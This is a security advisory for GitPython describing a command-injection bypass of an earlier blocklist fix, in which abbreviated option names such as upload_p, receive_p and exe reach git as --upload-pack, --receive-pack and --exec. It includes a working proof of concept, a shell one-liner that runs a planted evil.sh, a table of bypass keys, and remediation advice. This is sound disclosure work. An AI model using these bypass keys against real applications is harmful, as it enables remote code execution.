GHSA-2F96-G7MH-G2HX
Vulnerability from github – Published: 2026-07-21 19:43 – Updated: 2026-07-21 19:43Command injection via long-option prefix abbreviation bypassing check_unsafe_options (incomplete fix of CVE-2026-42215 / GHSA-rpm5-65cw-6hj4)
Component: gitpython-developers/GitPython (PyPI: GitPython)
Affected: all versions carrying the 3.1.47 blocklist fix, through current main (verified at commit 20c5e275, 3.1.50-42)
CWE: CWE-184 (Incomplete List of Disallowed Inputs) → CWE-78 (OS Command Injection)
Severity: inherits the parent CVE-2026-42215 surface; estimated High, ~8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) — final scoring deferred to maintainer/CNA, mirroring the parent.
Reporter: hackkim
Summary
The 3.1.47 fix for CVE-2026-42215 blocks dangerous git options (--upload-pack, --config, -c, -u for clone; --upload-pack for fetch/pull; --receive-pack, --exec for push) so callers cannot reach command-executing options unless they pass allow_unsafe_options=True.
The fix canonicalizes an option name along one axis (underscore→hyphen via dashify) and checks it against an exact-match dict. It does not account for git's unambiguous long-option prefix abbreviation. Git accepts any unambiguous prefix of a long option (--upload-p, --upload-pa, --upload-pac all resolve to --upload-pack). So a kwarg key like upload_p canonicalizes to upload-p, misses the blocklist dict, and is emitted to git as --upload-p=<value> → executed as --upload-pack=<value> → command injection, in the default allow_unsafe_options=False configuration.
The asymmetry (root cause)
# git/cmd.py (commit 20c5e275), lines 948-974
@classmethod
def _canonicalize_option_name(cls, option):
option_name = option.lstrip("-").split("=", 1)[0]
option_tokens = option_name.split(None, 1)
if not option_tokens:
return ""
return dashify(option_tokens[0]) # only transform: "_" -> "-"
@classmethod
def check_unsafe_options(cls, options, unsafe_options):
canonical_unsafe_options = {cls._canonicalize_option_name(o): o for o in unsafe_options}
for option in options:
unsafe_option = canonical_unsafe_options.get(cls._canonicalize_option_name(option))
if unsafe_option is not None:
raise UnsafeOptionError(...)
The guard normalizes only _→- and does exact dict membership. Git's CLI parser accepts a broader grammar (prefix abbreviation) than the guard models, so abbreviated keys slip through and reach git as the blocked option.
Affected code (commit 20c5e275)
| Location | Role |
|---|---|
git/cmd.py:948-960 _canonicalize_option_name |
canonicalizer — no prefix expansion |
git/cmd.py:963-974 check_unsafe_options |
exact-match dict lookup (the incomplete guard) |
git/cmd.py:1511 transform_kwarg |
emits --<dashify(name)>=<value> to the CLI |
git/repo/base.py:1411,1413 |
clone call sites |
git/remote.py:1074,1128,1201 |
fetch / pull / push call sites |
Bypass keys (verified)
| kwarg key | git resolves to | path | weaponizable |
|---|---|---|---|
upload_p, upload_pac |
--upload-pack |
clone / fetch / pull | Yes — direct RCE |
receive_p |
--receive-pack |
push | Yes — direct RCE |
exe |
--exec |
push | Yes — direct RCE |
conf, confi |
--config |
clone | bypasses option blocklist; RCE needs an additional config vector (see note) |
Minimal PoC
Self-contained, no network egress (a local bare repo acts as the "remote"). Tested on current main (git 2.50.1):
import os, stat, tempfile
from git import Repo
work = tempfile.mkdtemp()
marker = os.path.join(work, "RCE_MARKER")
# fake "upload-pack" program that proves arbitrary command execution
prog = os.path.join(work, "evil.sh")
with open(prog, "w") as f:
f.write(f"#!/bin/sh\ntouch {marker}\nexit 1\n") # exit 1 so git aborts after our code ran
os.chmod(prog, os.stat(prog).st_mode | stat.S_IEXEC)
bare = os.path.join(work, "remote.git")
Repo.init(bare, bare=True)
# attacker-controlled kwarg KEY 'upload_p' -> --upload-p=<prog> -> git runs <prog>
try:
Repo.clone_from(bare, os.path.join(work, "out"), upload_p=prog)
except Exception:
pass # git aborts with GitCommandError AFTER the payload executed
print("RCE marker created:", os.path.exists(marker)) # True -> command injection confirmed
Equivalent at the shell: git clone --upload-p=/tmp/evil.sh src out runs evil.sh.
Confirmed behavior:
- upload_pack (exact) → blocked; upload_p (abbrev) → passes guard, reaches git, executes. The fix works for the form it models but not the abbreviated form.
- allow_unsafe_options=True opt-out behaves as documented (out of scope).
Honest scope note
Like the parent CVE, exploitation requires a host application that flows attacker-controlled kwarg keys into a GitPython clone/fetch/pull/push. Where the host passes only fixed/validated keys, this is not reachable — the vulnerability is in the library's documented defense-in-depth control (allow_unsafe_options=False), which this variant defeats.
On the --config family: conf bypasses the option blocklist, but weaponizing --config protocol.ext.allow=always via an ext:: URL is independently blocked by GitPython's protocol allowlist (allow_unsafe_protocols=False). The directly weaponizable family is upload-pack / receive-pack / exec. Reported transparently — not claiming Critical.
Suggested remediation (any one)
- Prefix-aware matching: reject any option whose canonical name is an unambiguous prefix of a blocked option (≈
startswithon the blocked canonical name, afterdashify). - Disable abbreviation at the sink: pass
--end-of-optionsor invoke git in a way that disables long-option abbreviation. - Allowlist option names on security-sensitive subcommands instead of a blocklist.
Remediation should also cover the -c/--config family abbreviations, even though the ext:: route is currently gated by the protocol allowlist.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.50"
},
"package": {
"ecosystem": "PyPI",
"name": "GitPython"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.51"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-184",
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-21T19:43:43Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Command injection via long-option prefix abbreviation bypassing `check_unsafe_options` (incomplete fix of CVE-2026-42215 / GHSA-rpm5-65cw-6hj4)\n\n**Component:** gitpython-developers/GitPython (PyPI: GitPython)\n**Affected:** all versions carrying the 3.1.47 blocklist fix, through current `main` (verified at commit `20c5e275`, `3.1.50-42`)\n**CWE:** CWE-184 (Incomplete List of Disallowed Inputs) \u2192 CWE-78 (OS Command Injection)\n**Severity:** inherits the parent CVE-2026-42215 surface; estimated High, ~8.8 (`AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`) \u2014 final scoring deferred to maintainer/CNA, mirroring the parent.\n**Reporter:** hackkim\n\n### Summary\n\nThe 3.1.47 fix for CVE-2026-42215 blocks dangerous git options (`--upload-pack`, `--config`, `-c`, `-u` for clone; `--upload-pack` for fetch/pull; `--receive-pack`, `--exec` for push) so callers cannot reach command-executing options unless they pass `allow_unsafe_options=True`.\n\nThe fix canonicalizes an option name along **one** axis (underscore\u2192hyphen via `dashify`) and checks it against an **exact-match** dict. It does not account for git\u0027s unambiguous long-option prefix abbreviation. Git accepts any unambiguous prefix of a long option (`--upload-p`, `--upload-pa`, `--upload-pac` all resolve to `--upload-pack`). So a kwarg key like `upload_p` canonicalizes to `upload-p`, misses the blocklist dict, and is emitted to git as `--upload-p=\u003cvalue\u003e` \u2192 executed as `--upload-pack=\u003cvalue\u003e` \u2192 command injection, in the default `allow_unsafe_options=False` configuration.\n\n### The asymmetry (root cause)\n\n```python\n# git/cmd.py (commit 20c5e275), lines 948-974\n@classmethod\ndef _canonicalize_option_name(cls, option):\n option_name = option.lstrip(\"-\").split(\"=\", 1)[0]\n option_tokens = option_name.split(None, 1)\n if not option_tokens:\n return \"\"\n return dashify(option_tokens[0]) # only transform: \"_\" -\u003e \"-\"\n\n@classmethod\ndef check_unsafe_options(cls, options, unsafe_options):\n canonical_unsafe_options = {cls._canonicalize_option_name(o): o for o in unsafe_options}\n for option in options:\n unsafe_option = canonical_unsafe_options.get(cls._canonicalize_option_name(option))\n if unsafe_option is not None:\n raise UnsafeOptionError(...)\n```\n\nThe guard normalizes only `_`\u2192`-` and does exact dict membership. Git\u0027s CLI parser accepts a broader grammar (prefix abbreviation) than the guard models, so abbreviated keys slip through and reach git as the blocked option.\n\n### Affected code (commit `20c5e275`)\n\n| Location | Role |\n|---|---|\n| `git/cmd.py:948-960` `_canonicalize_option_name` | canonicalizer \u2014 no prefix expansion |\n| `git/cmd.py:963-974` `check_unsafe_options` | exact-match dict lookup (the incomplete guard) |\n| `git/cmd.py:1511` `transform_kwarg` | emits `--\u003cdashify(name)\u003e=\u003cvalue\u003e` to the CLI |\n| `git/repo/base.py:1411,1413` | clone call sites |\n| `git/remote.py:1074,1128,1201` | fetch / pull / push call sites |\n\n### Bypass keys (verified)\n\n| kwarg key | git resolves to | path | weaponizable |\n|---|---|---|---|\n| `upload_p`, `upload_pac` | `--upload-pack` | clone / fetch / pull | Yes \u2014 direct RCE |\n| `receive_p` | `--receive-pack` | push | Yes \u2014 direct RCE |\n| `exe` | `--exec` | push | Yes \u2014 direct RCE |\n| `conf`, `confi` | `--config` | clone | bypasses option blocklist; RCE needs an additional config vector (see note) |\n\n### Minimal PoC\n\nSelf-contained, no network egress (a local bare repo acts as the \"remote\"). Tested on current `main` (git 2.50.1):\n\n```python\nimport os, stat, tempfile\nfrom git import Repo\n\nwork = tempfile.mkdtemp()\nmarker = os.path.join(work, \"RCE_MARKER\")\n\n# fake \"upload-pack\" program that proves arbitrary command execution\nprog = os.path.join(work, \"evil.sh\")\nwith open(prog, \"w\") as f:\n f.write(f\"#!/bin/sh\\ntouch {marker}\\nexit 1\\n\") # exit 1 so git aborts after our code ran\nos.chmod(prog, os.stat(prog).st_mode | stat.S_IEXEC)\n\nbare = os.path.join(work, \"remote.git\")\nRepo.init(bare, bare=True)\n\n# attacker-controlled kwarg KEY \u0027upload_p\u0027 -\u003e --upload-p=\u003cprog\u003e -\u003e git runs \u003cprog\u003e\ntry:\n Repo.clone_from(bare, os.path.join(work, \"out\"), upload_p=prog)\nexcept Exception:\n pass # git aborts with GitCommandError AFTER the payload executed\n\nprint(\"RCE marker created:\", os.path.exists(marker)) # True -\u003e command injection confirmed\n```\n\nEquivalent at the shell: `git clone --upload-p=/tmp/evil.sh src out` runs `evil.sh`.\n\nConfirmed behavior:\n- `upload_pack` (exact) \u2192 blocked; `upload_p` (abbrev) \u2192 passes guard, reaches git, executes. The fix works for the form it models but not the abbreviated form.\n- `allow_unsafe_options=True` opt-out behaves as documented (out of scope).\n\n### Honest scope note\n\nLike the parent CVE, exploitation requires a host application that flows attacker-controlled kwarg **keys** into a GitPython clone/fetch/pull/push. Where the host passes only fixed/validated keys, this is not reachable \u2014 the vulnerability is in the library\u0027s documented defense-in-depth control (`allow_unsafe_options=False`), which this variant defeats.\n\nOn the `--config` family: `conf` bypasses the option blocklist, but weaponizing `--config protocol.ext.allow=always` via an `ext::` URL is independently blocked by GitPython\u0027s protocol allowlist (`allow_unsafe_protocols=False`). The directly weaponizable family is `upload-pack` / `receive-pack` / `exec`. Reported transparently \u2014 not claiming Critical.\n\n### Suggested remediation (any one)\n\n1. **Prefix-aware matching:** reject any option whose canonical name is an unambiguous prefix of a blocked option (\u2248 `startswith` on the blocked canonical name, after `dashify`).\n2. **Disable abbreviation at the sink:** pass `--end-of-options` or invoke git in a way that disables long-option abbreviation.\n3. **Allowlist** option names on security-sensitive subcommands instead of a blocklist.\n\nRemediation should also cover the `-c`/`--config` family abbreviations, even though the `ext::` route is currently gated by the protocol allowlist.",
"id": "GHSA-2f96-g7mh-g2hx",
"modified": "2026-07-21T19:43:43Z",
"published": "2026-07-21T19:43:43Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-2f96-g7mh-g2hx"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/pull/2161"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/commit/56806080c1348749b07daa4a2024ce47b3cad285"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "GitPython: Command Injection via git long-option prefix abbreviation bypass of CVE-2026-42215 blocklist"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.